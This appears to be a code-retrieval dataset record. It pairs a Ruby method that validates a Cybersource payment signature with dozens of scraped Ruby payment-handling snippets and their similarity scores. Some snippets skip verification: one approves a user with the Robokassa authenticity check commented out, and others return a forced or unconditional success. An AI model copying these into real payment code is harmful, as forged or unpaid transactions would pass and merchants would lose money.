"def relay_response\n sim_response = AuthorizeNet::SIM::Response.new(params)\n if sim_response.success?(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['merchant_hash_value'])\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'receipt', :only_path => false, \n :gateway => OPTIONS[:gateways][:authorize_net]), \n :include => true)\n else\n # return back to purchase page - will display error message there\n render :text => sim_response.direct_post_reply(\n url_for(:controller => self.controller_name, :action => 'purchase', :only_path => false, \n :order_id => params[:x_invoice_num], :failure => true), \n :include => true)\n end\n end",
"def return\n flash[:success] = \"Thanks for supporting us! We will activate your plan upon payment confirmation! The time this takes depends on PayPal.\"\n redirect_to root_path\n end",
"def process_with_active_merchant\n options = populate_options\n auth = authorize_payment(options)\n save!\n if APP_CONFIG['pre_and_post_authorization'] == true\n if auth.success == true\n capture_payment(options)\n save!\n end\n end\n end",
"def cc_purchase (person, cc_number, amount)\r\n\t\tif @bank_listing[person.id_number][:cc_spent] < @bank_listing[person.id_number][:cc_limit] && cc_number == @bank_listing[person.id_number][:cc_number]\r\n\t\t\t@bank_listing[person.id_number][:cc_spent]+=amount\r\n\t\t\tputs \"#{@bank_name}: Card accepted.\"\r\n\t\telse\r\n\t\t\tputs \"#{@bank_name}: Card has been declined.\"\r\n\t\tend\r\n\tend",
"def pay\n @order = Order.find(params[:id])\n if(@order.status == \"PLACED\")\n @order.status = \"PAID\"\n if @order.save\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Paid!'}\n format.json { render json: @order, status: :accepted, location: @order }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @order, notice: 'Order must first be placed before being paid.' }\n format.json { render json: @order.errors, status: :method_not_allowed }\n end\n end\n end",
"def payment_api_return?\n\t\ttrue\n\tend",
"def charge_paypal_account(amount)\n true\n end",
"def charge_paypal_account(amount)\n true\n end",
"def authnet_response\n Caboose.log(\"Authorize.net response for my account, order #{params[:id]}\")\n \n @resp = Caboose::StdClass.new\n @resp.success = true if params[:success]\n @resp.error = params[:error] if params[:error]\n \n # Go ahead and capture funds if the order only contained downloadable items\n @order = Order.find(params[:id])\n if !@order.has_shippable_items?\n capture_resp = @order.capture_funds\n if capture_resp.error\n @resp.success = false\n @resp.error = capture_resp.error\n end \n end \n render :layout => false\n end",
"def test_successful_purchase\n response = @gateway.purchase(@amount, @mastercard, @params)\n assert_success response\n assert response.test?\n end",
"def test_successful_purchase\n response = @gateway.purchase(@amount, @mastercard, @params)\n assert_success response\n assert response.test?\n end",
"def confirm_payment\n\t\tif @shipping_order.transacted\n\t\t\tredirect_to(:back)\n\t\telse\n\t\t\tif @shipping_order.update(\n\t\t\t\tstatus: 'Started'\n\t\t\t)\n\t\t\t\tconfirm_shipping_payment\n\t\t\telse\n\t\t\t\tflash[:error] = t('errors.messages.not_saved')\n\t\t\t\tredirect_to(:back)\n\t\t\tend\n\t\tend\n\tend",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def test_successful_purchase\n skip\n @gateway.expects(:ssl_post).returns(successful_purchase_response)\n\n assert response = @gateway.purchase(@amount, @credit_card, @options)\n assert_instance_of\n assert_success response\n\n # Replace with authorization number from the successful response\n assert_equal '', response.authorization\n assert response.test?\n end",
"def test_successful_purchase_with_processing_mode_gateway\n response = @gateway.purchase(@amount, @credit_card, @options.merge(@processing_options))\n assert_success response\n assert_equal 'accredited', response.message\n end",
"def deal_with_payment\n if human_amount_due <= 0\n update_attributes!(active: false)\n lease.mark_next_active_from_date(self.due_date)\n else\n true\n end\n end",
"def can_finish?\n self.payment_status == PTE::PaymentStatus.processing\n end",
"def success\n\t\tnotify = Paypal::Notification.new(request.raw_post)\n\t\traw = request.raw_post.to_s\n\n # this data attribute has all the values you can get from a successful (comes back as an IPN)\n # the documentation for a IPN is\n # https://www.x.com/developers/paypal/documentation-tools/adaptive-payments/integration-guide/APIPN\n\t\tdata = parse(raw)\n\n if notify.acknowledge\n\n\t\t\tdonation = Donation.find(params[:donation_id])\n\t\t\tnpo = '0'\n\t\t\tweeve = '1'\n\n\t\t\tif data[\"transaction[#{npo}].is_primary_receiver\"] != \"true\"\n\t\t\t\tnpo = '1'\n\t\t\t\tweeve = '0'\n\t\t\tend\n\n\t\t\treg = %r{[0-9]+.[0-9]+}\n\n\t\t\tdonation.update_attribute('sender_transaction_id', data[\"transaction[#{npo}].id_for_sender_txn\"])\n\t\t\tdonation.update_attribute('npo_transaction_id', data[\"transaction[#{npo}].id\"])\n\t\t\tdonation.update_attribute('weeve_transaction_id', data[\"transaction[#{weeve}].id\"])\n\t\t\tdonation.update_attribute('complete', (true if data[\"status\"].casecmp(\"Completed\") == 0))\n\t\t\tdonation.update_attribute('npo_amount', reg.match(data[\"transaction[#{npo}].amount\"])[0].to_f.round(2))\n\t\t\tdonation.update_attribute('weeve_amount', reg.match(data[\"transaction[#{weeve}].amount\"])[0].to_f.round(2))\n\t\t\tdonation.update_attribute('received_at', Time.now)\n\n if donation.user_id != -1\n UserMailer.donation_success(donation).deliver\n end\n\n\t\t\tredirect_to root_url\n end\n\tend",
"def payment_completed\n reservation = Reservation.find(params[:id])\n return if reservation.payment_completed?\n\n flash[:danger] = \"Can't approve this incomplete booking request.\"\n redirect_to your_reservations_path\n end",
"def process_payment!\n @payment_type.pay\n end",
"def pay(payment)\n retval\n end",
"def test_successful_purchase_with_emv_credit_card_in_us\n assert response = @gateway.purchase(@amount, @emv_credit_cards[:us], @options)\n assert_success response\n assert_equal 'charge', response.params['object']\n assert response.params['paid']\n assert_match CHARGE_ID_REGEX, response.authorization\n end",
"def thank_you\n user = session[:user]\n user.zip = params[:zip]\n \n start_date = Date.today\n start_date += 61\n \n response = create_autorrecuring_subscription(start_date, user, params[:card_number], params[:month], params[:year], \n params[:cvc], params[:card_type], params[:city], params[:state],\n params[:billing_address_1], params[:billing_address_2])\n if response.success?\n session[:errors] = nil\n session[:user] = nil\n user.arb_subscription_id = response.subscription_id\n user.arb_status = AuthorizeNet::ARB::Subscription::Status::ACTIVE\n user.billing_information_id = user.add_billing_information(params[:fullname], params[:billing_address_1] ,\n params[:billing_address_2], params[:city], params[:state],\n params[:zip]).id\n user.save\n else\n puts \"Failed to make purchase. \" + response.response_reason_code + \" - \" + response.response_reason_text\n user.errors.clear()\n user.errors.add(:transaction, response.response_reason_text)\n session[:errors] = user.errors\n redirect_to admin_signup_step3_path\n end \n\n \n end",
"def notify_payment\n begin\n user = User.find(params['referenceId'].split(\"-\").first)\n check_payment(\"POST\", user)\n render :text => \"Thank you!\"\n rescue Exception => ex\n logger.error \"params: #{params.inspect}\"\n logger.error \"a problem occured when processing a payment: #{ex.message} \\n #{ex.backtrace}\"\n render :text => \"A problem occured\"\n end\n end",
"def create\n @payment = Payment.new(params[:payment])\n respond_to do |format|\n if (params[:card_number].blank? || params[:card_month].blank? || params[:card_year].blank? || params[:card_cvc].blank? || params[:card_type].blank? || params[:name].blank? || params[:last_name].blank?)\n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :type => 'visa',\n :number => \"4111111111111111\",\n :month => 12,\n :year => 2015,\n :first_name => \"test\",\n :last_name => \"test\",\n :verification_value => 123\n )\n else\n credit_card = ActiveMerchant::Billing::CreditCard.new(\n :type => params[:card_type],\n :number => params[:card_number],\n :month => params[:card_month].to_i,\n :year => params[:card_year].to_i,\n :first_name => params[:name],\n :last_name => params[:last_name],\n :verification_value => params[:card_cvc].to_i\n )\n\n if price > 0 && credit_card.valid?\n #api call\n end\n end\n if @payment.save\n format.html { redirect_to @payment, notice: 'Payment was successfully created.' }\n format.json { render json: @payment, status: :created, location: @payment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def paid\n #if @notification.acknowledge # check if it’s genuine Robokassa request\n #@user.approve! # project-specific code\n render :text => @notification.success_response\n @user.approve!\n #else\n #head :bad_request\n #end\n end",
"def confirm_acceptance\n return render(:template => 'shared/access_denied', :status => :unauthorized) unless current_user?(@user)\n @short_listed_winner = current_user.short_listed_winnings.find(params[:id])\n if @short_listed_winner.pending?\n if request.get?\n @dispatch = Dispatch.new(current_user.attributes().delete_if{|k,v| ![:address_line_1, :address_line_2, :city, :state, :country, :pin_code, :mobile_number, :phone_number].include?(k.to_sym)})\n @dispatch.prize = @short_listed_winner.prize\n else\n begin\n Dispatch.transaction do |transaction|\n @dispatch = Dispatch.new(params[:dispatch])\n @dispatch.user_id = current_user.id\n @dispatch.country = current_user.country\n @dispatch.prize_id = @short_listed_winner.prize.id\n @dispatch.short_listed_winner_id = params[:id]\n if !@dispatch.prize.needs_dd?\n @dispatch.status = Dispatch::STATUSES[:pending_shipment]\n @dispatch.payment_type = 'N/A'\n end \n @dispatch.save!\n\n @short_listed_winner.accepted = true\n @short_listed_winner.confirmed_on = Time.now\n @short_listed_winner.save!\n \n if @dispatch.prize.needs_dd?\n flash[:notice] = 'Your prize will be dispatched within 30 working days after we receive your DD.'\n else\n flash[:notice] = 'Your prize will be dispatched within 30 working days.'\n end \n PrizeMailer.deliver_prize_confirmed_notification(@dispatch, self)\n return redirect_to(:action => :pending_prizes)\n end\n\t rescue Exception => err\n #logger.error(err.to_s)\n end #begin\n end #get?\n else\n case @short_listed_winner.status\n when 'Accepted' then flash.now[:notice] = 'You have already accepted this prize.'\n when 'Rejected' then flash.now[:notice] = 'You have rejected this prize.'\n when 'Expired' then flash.now[:notice] = 'Oops! Looks like you’re a little late. The confirmation period for your prize claim has expired. But you can still play more contests to WIN more amazing prizes.'\n end\n end # pending?\n render :layout => 'users'\n end",
"def verify_authorize_response(source, gateway_options, response, type)\n if response[:success]\n _order_number, payment_number = gateway_options[:order_id].split('-')\n payment = Spree::Payment.friendly.find payment_number\n\n update_payment_amount(gateway_options)\n\n komerci_attributes = response[:data].merge(credit_card_id: source.id,\n payment_id: payment.id,\n total: payment.reload.amount)\n Spree::KomerciTransaction.create(komerci_attributes)\n\n return ActiveMerchant::Billing::Response.new(true, Spree.t(\"komerci.messages.#{type}_success\"), {}, authorization: response[:data][:order_number])\n else\n message = response[:data][:error_number] ? \"#{response[:data][:error_number]}: \" : ''\n message << response[:data][:error_message]\n\n return ActiveMerchant::Billing::Response.new(false, message, {}, authorization: '')\n end\n end",
"def collect_payment?\n true\n end",
"def test_purchase_and_credit_for_check_with_differing_amounts\n assert purchase = @gateway.purchase(10000, @check, @options)\n assert_success purchase\n assert_approved purchase\n \n assert void = @gateway.credit(500, purchase.authorization, @options)\n assert_success void\n assert_not_equal 'Approved', void.message\n end",
"def subscription_payment_succeeded(customer_param, atts = {})\n around_mail_action(:subscription_payment_succeeded, customer_param, atts) do\n return true unless EffectiveOrders.mailer[:send_subscription_payment_succeeded]\n\n @customer = (customer_param.kind_of?(Effective::Customer) ? customer_param : Effective::Customer.find(customer_param))\n @subscriptions = @customer.subscriptions\n @user = @customer.user\n\n @subject = subject_for(@customer, :subscription_payment_succeeded, 'Thank you for your payment')\n\n mail(to: @customer.user.email, subject: @subject)\n end\n end",
"def payment_authorized?(payment_id)\n check_payment = get_payment_intent_info(payment_id)\n status = check_payment['status']\n puts \"Current Payment Status: #{status}\"\n case status\n when 'Authorized', 'Card Verified'\n puts 'Payment has been authorized'\n return true\n # when 'Declined'\n # puts \"Reason for Decline: #{check_payment['response_summary']}\"\n # abort 'Payment has been declined so exiting this program'\n end\n puts \"3DS Flow hasn't been completed\"\n false\n end",
"def handle_paid_payment(payment)\n response = MangoPay::Withdrawal.create({\n 'UserID' => payment.recipient.mangopay_id,\n 'WalletID' => 0,\n 'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,\n 'Amount' => payment.total_sum.cents,\n 'Tag' => payment.id\n })\n\n puts \"WITHDRAWAL RESPONSE #{response.inspect}\"\n\n if response[\"ErrorCode\"]\n ApplicationHelper.send_error_notification(response[\"ErrorCode\"], \"MangopayWithdrawalError\", response)\n return false\n else\n return true\n end\n\n end",
"def test_successful_purchase_with_emv_credit_card_in_uk\n assert response = @gateway.purchase(@amount, @emv_credit_cards[:uk], @options)\n assert_success response\n assert_equal 'charge', response.params['object']\n assert response.params['paid']\n assert_match CHARGE_ID_REGEX, response.authorization\n end",
"def payment_status(payment)\n return false unless payment\n osmp_transaction(payment.transaction_id) { |xml|\n xml.sum(round_to_cents(payment.gross))\n case payment.pending_reason\n when \"Completed\" then\n xml.result(@message[:ok][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:ok][:code]}\"))\n # when \"Waiting for confirmation\"\n # xml.result(@message[:not_finished][:code])\n # xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:not_finished][:code]}\"))\n else\n xml.result(@message[:temporary_error][:code])\n xml.comment(ActiveProcessor.configuration.translate_func.call(\"osmp_message_#{@message[:temporary_error][:code]}\"))\n end\n }\n end",
"def payment_failed?\n cancel_reason == PAYMENT_FAILED\n end",
"def create\n @profile = current_user.profile\n @payment = Payment.new(payment_params)\n @payment.profile = current_user.profile\n if @payment.save\n uri = URI('http://acm.ut.ac.ir/epayment/payments')\n parameters = {\n 'merchant' => \"4452A141\",\n 'amount' => @payment.amount,\n 'redirect' => \"http://acm.ut.ac.ir/events/payments/approve\"}\n response = transact(uri, parameters)\n puts response.body\n @payment.response = response.body\n parsed_response = JSON.parse(response.body)\n if parsed_response[\"status\"] != 1\n redirect_to payments_path, notice: \"در ارتباط با بانک خطایی رخ دادهاست.\"\n return\n end\n @payment.reference_key = parsed_response[\"reference\"]\n if @payment.save\n redirect_to parsed_response[\"bank\"]\n return\n else\n render :new\n end\n else\n render :new\n end\n\n end",
"def checkout\n create_adapter!\n booking = StripeBooking.new(paymentplan: Paymentplan.find(params[:plan_id]))\n booking.succeed_booking!(Booking.current)\n redirect_to ordersuccess_path\n end",
"def create\n response = validate_IPN_notification(request.raw_post)\n case response\n when \"VERIFIED\"\n if params[:payment_status] == \"Completed\"\n deal = Deal.find(params[:item_number])\n if !deal.nil?\n if !deal.payment_complete? && deal.agreement_achieved?\n if deal.seller.email == params[:receiver_email]\n if deal.product.delivery_cost.nil?\n deal.product.delivery_cost = 0\n end\n if (deal.user_proposed_price + deal.product.delivery_cost) == params[:payment_gross].to_f \n deal.payment_complete = true\n deal.save \n end\n end\n end\n end\n end\n\n # check that paymentStatus=Completed\n # check that txnId has not been previously processed\n # check that receiverEmail is your Primary PayPal email\n # check that paymentAmount/paymentCurrency are correct\n # process payment\n when \"INVALID\"\n # log for investigation\n else\n # error\n end\n render :nothing => true\n end",
"def bought?\n # paym\n end",
"def confirm\n connector = StripeOauth.new(current_customer)\n if params[:code]\n # If we got a 'code' parameter. Then the\n # connection was completed by the customer.\n connector.verify!(params[:code])\n\n elsif params[:error]\n # If we have an 'error' parameter, it's because the\n # customer denied the connection request. Other errors\n # are handled at #oauth_url generation time.\n flash[:alert] = 'Authorization request denied.'\n end\n\n redirect_to customer_path(current_customer)\n end",
"def test_credit_card_authorize_and_void\n assert auth = @gateway.authorize(@amount, @credit_card, @options)\n assert_success auth\n assert_equal 'Approved', auth.message\n assert void = @gateway.void(@amount, auth.authorization, @credit_card, @options)\n assert_success void\n assert_equal 'Approved', void.message\n end",
"def purchase(_money, _credit_card, _options = {})\n ActiveMerchant::Billing::Response.new(true, 'PayUIn Gateway: Forced success', {}, test: test?)\n end",
"def success?\n status( @params['txnid'], @params['amount'] ) == 'success'\n end",
"def validate\n payment = Spree::Payment.find_by number: params[:payment_token] \n spree_updater = Spree::Cmcb::PaymentStateUpdater.new(payment)\n spree_updater.call\n # Cmcb.update_payment_status payment\n \n # Rails.logger.info(\"Redirect URL visited for order #{params[:order_number]}\")\n order = payment.order\n order = order.reload\n \n # # Order is paid for or authorized (e.g. Klarna Pay Later)\n redirect_to order.paid? || payment.pending? ? order_path(order) : checkout_state_path(:payment)\n end",
"def create\n @payment = @application.authorize_payment payment_params, request.remote_ip\n if @payment.authorized?\n redirect_to payment_path(@payment), notice: 'Payment was successfully authorized.'\n else\n render :new\n end\n end",
"def payment_return\n url = root_url\n if (params[:status] == \"1\")\n @publication = Publication.find(params[:id])\n url = publication_url(@publication)\n flash[:notice] = \"La publicacion ha sido creada correctamente.\"\n elsif (params[:status] == \"2\")\n url = publications_url\n flash[:notice] = \"El pago de la publiacción esta pendiente. Al completarse exitosamente el mismo, la publicación quedará creada correctamente.\"\n elsif (params[:status] == \"3\")\n url = publications_url\n flash[:error] = \"El pago de la publiacción no pudo completarse correctamente.\"\n elsif (params[:status] == \"4\")\n @publication = Publication.find(params[:id])\n url = publication_url(@publication)\n flash[:notice] = \"La publicación fue actualizada exitosamente.\"\n end\n redirect_to url\n end",
"def payment_pending?\n payment_state == PAYMENT_PENDING\n end",
"def mark_as_transferred\n if @payment.make_transferred!\n render_success_message \"Payment successfully marked as transferred\"\n else\n render_error_model @payment\n end\n end",
"def test_successful_purchase_with_solo_card\n response = @gateway.purchase(@amount, @solo, @params)\n assert_success response\n assert response.test?\n end",
"def pyment_logic\n\t\t# @notification = ActiveMerchant::Billing::Integrations::Ccavenue::Notification.new(request.raw_post)\n\t\t# if @notification.payment_id.present?\n\t\t# \t@order = Course.find_by_order_id(@notification.payment_id)\n\t\t# \tif @notification.complete? and @notification.valid?\n\t\t# \t\t@order.confirm!\n\t\t# \telse\n\t\t# \t @order.reject!\n\t\t# \tend\n\t\t# end\n\tend",
"def accept\n @card = Card[params[:card][:key]] or raise(Wagn::NotFound, \"Can't find this Account Request\") #ENGLISH\n @user = @card.extension or raise(Wagn::Oops, \"This card doesn't have an account to approve\") #ENGLISH\n System.ok?(:create_accounts) or raise(Wagn::PermissionDenied, \"You need permission to create accounts\") #ENGLISH\n \n if request.post?\n @user.accept(params[:email])\n if @user.errors.empty? #SUCCESS\n redirect_to (System.setting('*invite+*thanks') || '/')\n return\n end\n end\n render :action=>'invite'\n end",
"def payment_received?\n payment_state == PAYMENT_RECEIVED\n end",
"def check_agreement\n if (!@customer.affiliate?)\n redirect_to(:action => :agreement)\n return false\n end\n end"
] |
[
"0.74086607",
"0.72222143",
"0.7098679",
"0.7033425",
"0.7023301",
"0.69044137",
"0.6863167",
"0.6825858",
"0.68253314",
"0.67931986",
"0.67634225",
"0.67404664",
"0.67167795",
"0.6715788",
"0.6700185",
"0.6697306",
"0.669595",
"0.66837645",
"0.6673283",
"0.6665256",
"0.66596013",
"0.65988386",
"0.65970635",
"0.6577624",
"0.65542465",
"0.6528256",
"0.6523348",
"0.65185297",
"0.6510808",
"0.65107566",
"0.6490939",
"0.64842343",
"0.64723754",
"0.6471202",
"0.64687616",
"0.6459428",
"0.64579916",
"0.64413506",
"0.64399993",
"0.64380676",
"0.64304334",
"0.64266807",
"0.6421878",
"0.6420445",
"0.6408732",
"0.64009804",
"0.6394811",
"0.63943726",
"0.6391388",
"0.63829374",
"0.6381664",
"0.6364863",
"0.6364494",
"0.6364494",
"0.6361796",
"0.6358611",
"0.6358611",
"0.6352049",
"0.6351174",
"0.6346297",
"0.63413477",
"0.6339318",
"0.63385034",
"0.63383627",
"0.63372296",
"0.63344485",
"0.63284206",
"0.63278514",
"0.6327847",
"0.63273156",
"0.6320636",
"0.6319383",
"0.6316282",
"0.63156253",
"0.631242",
"0.63007826",
"0.6299127",
"0.629433",
"0.62938625",
"0.62898767",
"0.628446",
"0.62824106",
"0.62815696",
"0.6280416",
"0.6277502",
"0.6273008",
"0.627222",
"0.62712675",
"0.6270966",
"0.6266808",
"0.62641555",
"0.6259907",
"0.62582254",
"0.6256719",
"0.6255414",
"0.6254276",
"0.6253849",
"0.6253743",
"0.6248721",
"0.62447053"
] |
0.79905957
|
0
|
Raise an error if the payment failed or if the signature is invalid
|
def validate!
Cybersource::Security.validate_signature!(@fields['signature'], signed_data)
raise PaymentFailed unless payment_success?
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_signature!(signature, data)\n raise InvalidSignature unless valid_signature?(signature, data)\n end",
"def verify!(config, params)\n sent_signature = params.find { |key, _value| key.to_s.casecmp('BRQ_SIGNATURE').zero? }&.last\n generated_signature = Signature.generate(config, params)\n\n if sent_signature.nil? || generated_signature.nil? || !safe_equals?(sent_signature, generated_signature)\n raise SignatureException.new(sent_signature, generated_signature)\n end\n end",
"def verify!\n verify\n rescue InvalidDigest, InvalidSignedValue => e\n raise InvalidSignature, e.message\n end",
"def verify!\n verify\n rescue InvalidDigest, InvalidSignedValue => e\n raise InvalidSignature, e.message\n end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end",
"def verify_signature(result); end",
"def test_transaction_failed\n response = @gateway.setup_purchase(500, @options)\n\n # now try to authorize the payment, issuer simulator lets the payment fail\n response = @gateway.capture(response.transaction['transactionID'])\n assert_failure response\n assert_equal 'Failure', response.transaction['status'], 'Transaction should fail'\n end",
"def set_signature_error(error)\n @invalid_signature_error ||= error.is_a?(SnippetRepository::InvalidSignatureError)\n end",
"def purchase\n create_payment(\n user: launched_by,\n organization: organization,\n network_payment_method_id: @network_payment_method.id,\n description: description,\n amount: total_price.to_f,\n quantity: sample_size,\n unit_amount: price_per_response.to_f,\n )\n\n return if payment.persisted?\n\n errors.add(:base, \"Payment failed: #{payment.errors.full_messages.join('. ')}\")\n # throw doesn't work in after_* callbacks, so use this to stop the transaction\n raise ActiveRecord::RecordInvalid, self\n end",
"def _verify\n unless (@_headers['x-allopass-response-signature'] || []).include?(@_signature)\n raise Allorails::ApiFalseResponseSignatureError\n end\n end",
"def signature_valid?; end",
"def check(payment)\n retval\n end",
"def errors\n p = build_payment\n p.valid?\n p.errors\n end",
"def verify_compact_signature(signature, hash)\n raise BTCError, \"Not implemented\"\n end",
"def verify_signatures?; end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n end",
"def receipt\n check_payment(\"GET\", current_user)\n if @payment.failed?\n flash.now[:error] = \"We are sorry, we were not able to verify your payment from Amazon.com\"\n render \"sorry\"\n end\n end",
"def pay(payment)\n retval\n end",
"def has_valid_signature?\n Adyen::HPP::Signature.verify(params, shared_secret)\n end",
"def match_signature(signature)\n if !signature[:ok]\n msg_mismatch(text)\n elsif expected_signer && signature[:email] != expected_signer\n msg_wrong_signer(signature[:email])\n end\n end",
"def verify_signature\n @spki.verify(public_key)\n end",
"def test_invalid_transaction\n\t\tassert_raise(Payment::PaymentError) {\n\t\t\t@transaction = @bad_order.get_auth_transaction\n\t\t\tassert_equal @transaction.test_transaction, true\n\t\t\t@transaction.submit\n\t\t}\n\tend",
"def retry_failed_payment\n end",
"def verify(*args, **options)\n verified(*args, **options) || raise(InvalidSignature)\n end",
"def validate_sig(pkey,sig)\r\n\t\t\t\r\n\t\tend",
"def payment_failed?\n cancel_reason == PAYMENT_FAILED\n end",
"def verify_signature(data)\n Signature.valid?(data.merge('api_key' => api_key))\n end",
"def process_signature? (signature)\n\t\n\t\tlogger.debug 'Estamos procesando la firma'\t\n\t\t\n\t\tif not signature.signed?\n\n\t\t\t@signature.xmlSigned = Base64.decode64(params[:xmlSigned2])\n\t\t\t\n\t\t\tbegin\n\t\t\t\tvalidation = @signature.validate_signature\n\t\t\trescue\n\t\t\t\tflash[:error] = \"Ha ocurrido un error al intentar validar el certificado\"\n\t\t\t\treturn false\n\t\t\tend\n\t\t\t\n\t\t\tif not validation.isValid?\n\t\t\t\tflash[:error] = \"La firma no es válida. Compruebe que el certificado no esté caducado o revocado\"\n\t\t\t\treturn false\n\t\t\tend\n\t\t\t\n\t\t\tif validation.psisNIF != signature.dni\n\t\t\t\tflash[:error] = \"El DNI introducido en el formulario no coincide con el DNI del Certificado\"\n\t\t\t\treturn false\t\t\t\n\t\t\tend\n\n\t\t\t@signature.state = 1\n\t\t\t\n\t\t\tif @signature.valid?\n\t\t\t\t@proposal = @signature.proposal\n\t\t\t\t@signature.get_afirma_signature\t\t\n\t\t\t\tshare_texts(@proposal, @signature)\n\t\t\t\tsignature.notifier\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\tflash[:error] = @signature.errors.map {|a,m| \"#{m.capitalize}\"}.uniq.join(\"<br/>\\n\")\n\t\t\t\treturn false\n\t\t\tend\n\t\telse\n\t\t\tflash[:error] = \"Este identificador de firma ya ha sido firmado\"\n\t\t\treturn false\n\t\tend\n\tend",
"def test_transaction_unknown\n response = @gateway.setup_purchase(700, @options)\n\n # now try to authorize the payment, issuer simulator lets the payment fail\n response = @gateway.capture(response.transaction['transactionID'])\n\n assert_failure response\n assert_equal 'SO1000', response.error[ 'errorCode'], 'ErrorCode should be correct'\n end",
"def verify_error action, ret\n if !ret.nil? and ret.has_key? :erro\n ActiveMerchant::Billing::Response.new(false, \"Cielo: #{ret[:erro][:codigo]} - #{ret[:erro][:mensagem]}\", {}, {})\n else\n ActiveMerchant::Billing::Response.new(false, Spree.t(\"cielo.messages.#{action}_rescue\"), {}, {})\n end\n end",
"def test_failed_purchase_decline\n response = @gateway.purchase(@amount, @declined_card, @options)\n assert_failure response\n assert_equal 1, response.responses.count\n assert_equal 'Card declined.', response.message\n assert_equal 'card_declined', response.error_code\n end",
"def verify!\n raise \"Payment details not active anymore\" if active == false\n end",
"def failed_purchase_response\n end",
"def verify_error action, ret\n if !ret.nil? and ret.has_key? :erro\n if ret[:erro][:codigo] == '001'\n ActiveMerchant::Billing::Response.new(false, Spree.t('cielo.messages.invalid_message'), {}, {})\n else\n ActiveMerchant::Billing::Response.new(false, \"Cielo: #{ret[:erro][:codigo]} - #{ret[:erro][:mensagem]}\", {}, {})\n end\n else\n ActiveMerchant::Billing::Response.new(false, Spree.t(\"cielo.messages.#{action}_rescue\"), {}, {})\n end\n end",
"def fail_payment(event)\n payment = extract_payment_from_event(event)\n\n payment.with_lock do\n break if payment.failed?\n\n payment.failure!.tap do\n SolidusStripe::LogEntries.payment_log(\n payment,\n success: false,\n message: \"Payment was marked as failed after payment_intent.failed webhook\"\n )\n end\n end\n end",
"def create\n @signature = Signature.new(params[:signature])\n\n respond_to do |format|\n if @signature.save\n format.html { redirect_to(@signature, :notice => 'La asignatura se ha creado correctamente.') }\n format.xml { render :xml => @signature, :status => :created, :location => @signature }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @signature.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def verify\n @sigs = []\n @orig_data = request.params['data']\n if @orig_data.nil?\n # XXX: Implement HTTP error here.\n end\n begin\n GPGME::verify(request.params['data'], nil, @plain) do |signature|\n @sigs << signature\n end\n rescue GPGME::Error => e\n @error = \"GPGME Error: #{e.to_s}\"\n #rescue\n # @error = \"Unspecified Error.\"\n end\n end",
"def notify_payment\n begin\n user = User.find(params['referenceId'].split(\"-\").first)\n check_payment(\"POST\", user)\n render :text => \"Thank you!\"\n rescue Exception => ex\n logger.error \"params: #{params.inspect}\"\n logger.error \"a problem occured when processing a payment: #{ex.message} \\n #{ex.backtrace}\"\n render :text => \"A problem occured\"\n end\n end",
"def verify_signature\n @req.verify(public_key)\n end",
"def test_unsuccessful_request\n skip\n @gateway.expects(:ssl_post).returns(failed_purchase_response)\n\n assert response = @gateway.purchase(@amount, @credit_card, @options)\n assert_failure response\n assert response.test?\n end",
"def create\n\n @signature = Signature.new(params[:signature])\n\n respond_to do |format|\n if @signature.save\n format.html { redirect_to(@signature, :notice => 'Signature was successfully created.') }\n format.xml { render :xml => @signature, :status => :created, :location => @signature }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @signature.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def redsys_error\n logger.debug \"==== REDSYS#ERROR ==== order##{params[:order_id]} params# #{params.inspect}\"\n notify_acknowledge = acknowledgeSignature(redsys_credentials(payment_method))\n if notify_acknowledge\n @order ||= Spree::Order.find_by_number!(params[:order_id])\n @order.update_attribute(:payment_state, 'failed')\n flash[:alert] = Spree.t(:spree_gateway_error_flash_for_checkout)\n end\n redirect_to order_path(@order)\n end",
"def verify_signature(url, params)\n submit VerifySignature.new(:url_end_point => url, :http_parameters => params)\n end",
